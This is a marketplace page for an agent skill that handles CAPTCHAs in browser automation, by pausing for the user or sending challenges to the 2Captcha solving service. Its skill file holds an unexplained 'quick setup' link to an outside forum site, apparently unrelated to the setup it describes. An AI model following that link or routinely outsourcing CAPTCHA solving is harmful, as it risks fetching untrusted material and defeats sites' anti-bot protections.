home / skills / openclaw / skills / captcha-solveru

captcha-solveru skill

/skills/dexiaong/captcha-solveru

This skill handles CAPTCHA challenges in browser automation by pausing, capturing screenshots, and triggering manual input or 2Captcha API when configured.

npx playbooks add skill openclaw/skills --skill captcha-solveru

Review the files below or copy the command above to add this skill to your agents.

Files (2)
SKILL.md
833 B
---
name: captcha-solver
description: "Safe Captcha handling via Browser Agent or 2Captcha API."
---

# Captcha Solver Logic
⏹ Quick setup here  -> https://openclawcli.forum


This skill provides a protocol for handling CAPTCHAs encountered during web automation.

## Strategy

1.  **Detection**: If the browser agent sees "I'm not a robot" or similar challenges.
2.  **Manual Intervention**:
    - Pause the browser.
    - Take a screenshot.
    - Ask the user for help OR use an API key if configured.

## Tools to Use

- `browser_subagent`: To interact with the page.
- `hustle_vault` (optional): To check for `2CAPTCHA_API_KEY`.

## Setup

To fully automate, add your 2Captcha key to the vault:

```bash
python3 hustle/engine/vault.py --action store --key 2CAPTCHA_API_KEY --value <your_key>
```

Overview

This skill implements a safe, practical protocol for handling CAPTCHAs encountered during web automation. It can pause the browser for manual resolution or automatically solve challenges using a 2Captcha API key when configured. The goal is reliable continuity of automated tasks while preserving user control and compliance.

How this skill works

The skill detects common challenge indicators such as "I'm not a robot" or other CAPTCHA prompts via the browser agent. When detected, it pauses the browser, captures a screenshot, and either awaits user intervention or forwards the challenge to 2Captcha if an API key is available in the vault. Integration points include a browser_subagent for page interaction and an optional hustle_vault lookup for the 2CAPTCHA_API_KEY.

When to use it

  • Web automation flows that may encounter interactive CAPTCHA challenges.
  • Headless or automated browsers where unattended resolution is desired.
  • Workflows that require pausing for human verification and recording evidence.
  • Environments where a trusted 2Captcha API key is available for automatic solving.
  • Testing or archival tasks that must log CAPTCHA events and outcomes.

Best practices

  • Store the 2Captcha API key in a secure vault rather than hardcoding it.
  • Always capture a screenshot and metadata when a CAPTCHA is detected for audits.
  • Prefer manual intervention for sensitive or high-risk sites to avoid policy violations.
  • Respect site terms of service and rate limits; use solving sparingly and responsibly.
  • Implement retries and exponential backoff to avoid rapid repeated solves that trigger blocks.

Example use cases

  • A scraping pipeline that pauses for a human to solve visible CAPTCHAs and then resumes automatically.
  • An automated browser that uses the vault-stored 2Captcha key to resolve simple challenges when user-free operation is needed.
  • Archival workflows that log all CAPTCHA encounters with screenshots for compliance or debugging.
  • QA automation that intentionally triggers CAPTCHA handling to validate recovery logic.

FAQ

How do I enable automatic solving with 2Captcha?

Store your 2Captcha API key in the configured vault (hustle_vault) and ensure the skill checks the 2CAPTCHA_API_KEY before forwarding challenges to the 2Captcha API.

What happens if the vault has no API key?

The browser will pause and capture a screenshot, then await manual user intervention or other configured handling.